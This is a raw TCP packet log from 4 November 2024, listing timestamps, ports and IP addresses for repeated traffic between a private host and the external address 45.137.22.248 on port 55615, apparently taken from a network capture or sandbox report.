Nov 4, 2024 04:32:14.164215088 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164223909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164232969 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164242029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164257050 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164267063 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164275885 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164284945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164341927 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164387941 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164402962 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164414883 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164469004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164478064 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164484024 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164519072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164580107 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164587975 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164628029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164638042 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164680004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164690018 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164729118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164737940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164762974 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164813995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164858103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164866924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164875984 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164896011 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164906025 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164913893 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164973021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164982080 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164990902 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.164999008 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165041924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165051937 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165060043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165070057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165096998 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165106058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165115118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165123940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165132999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165144920 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165153027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165162086 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165169954 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165226936 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165236950 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165246010 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165255070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165263891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165276051 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165285110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165293932 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165334940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165344000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165354013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165363073 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165406942 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165417910 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165425062 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165433884 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165441990 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165502071 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165512085 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165519953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165529013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165538073 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165548086 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165571928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165580034 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165590048 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165600061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165659904 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165668964 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165678024 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165687084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165703058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165712118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165734053 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165743113 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165776014 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165807962 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.165846109 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166035891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166045904 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166054010 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166064024 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166073084 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166080952 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166090965 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166095018 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166099072 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166105986 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166115046 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166181087 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166189909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166198015 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166208029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166215897 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166227102 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166235924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166244030 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166263103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166271925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166280985 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166290045 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166299105 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166307926 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166316986 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166384935 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166393995 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166402102 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166412115 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166419983 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166429043 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166438103 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166445971 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166456938 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166512012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166522026 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166528940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166538000 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166546106 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166554928 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166563034 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166574001 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166655064 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166668892 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166677952 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166686058 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166695118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166703939 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166713953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166723967 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166735888 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166744947 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166779041 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166790009 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166798115 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166807890 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166815996 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166826963 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166836023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166845083 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166852951 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166912079 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166920900 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166928053 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166939020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166948080 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166956902 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166965008 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166974068 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.166982889 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167040110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167049885 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167058945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167068958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167077065 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167085886 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167093992 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167102098 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167118073 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167155027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167165041 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167172909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167181969 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167190075 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167198896 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167207003 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167217016 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167273998 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167284012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167292118 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167300940 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167309999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167325974 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167335033 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167342901 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167351961 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167398930 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167408943 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167417049 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.167424917 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.208281040 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.314379930 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.319154978 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.319340944 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.330665112 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.335604906 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.702984095 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.707927942 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.172902107 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.174155951 CET	55615	49784	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.174201012 CET	49784	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.493941069 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.497076988 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.497381926 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.497945070 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498008013 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498069048 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498116970 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498163939 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498209000 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498261929 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498306990 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498348951 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498406887 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498450041 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498512030 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498553991 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498606920 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498653889 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498703957 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498745918 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498806953 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.498852015 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.501925945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502253056 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502299070 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502311945 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502355099 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502381086 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502392054 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502399921 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502408028 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502413034 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502433062 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502450943 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502474070 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502479076 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502525091 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502526045 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502563953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502564907 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502573967 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502583027 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502593040 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502597094 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502629995 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502640009 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502650023 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502657890 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502692938 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502697945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502737999 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502748013 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502748966 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502774954 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502784014 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502789021 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502811909 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502830982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502835035 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502840996 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502870083 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502882004 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.502981901 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.502990961 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503000021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503010035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503026009 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503032923 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503036022 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503057957 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503057957 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503067970 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503077030 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503104925 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503108978 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503144979 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503155947 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503177881 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503181934 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503223896 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503226995 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503238916 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503253937 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503264904 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503276110 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503302097 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503355980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503365993 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503372908 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503406048 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503422976 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503520966 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503530979 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503546953 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503556967 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503560066 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503563881 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503566980 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503601074 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503609896 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503623962 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503639936 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503663063 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503667116 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503678083 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503703117 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503719091 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503746986 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503756046 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503793955 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503794909 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503793955 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503806114 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503810883 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503827095 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503854036 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503858089 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503869057 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503891945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503901005 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503907919 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503923893 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503946066 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503951073 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.503956079 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.503984928 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504000902 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504004955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504015923 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504024982 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504035950 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:15.504044056 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504054070 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:15.504064083 CET	55615	49777	45.137.22.248	192.168.2.6
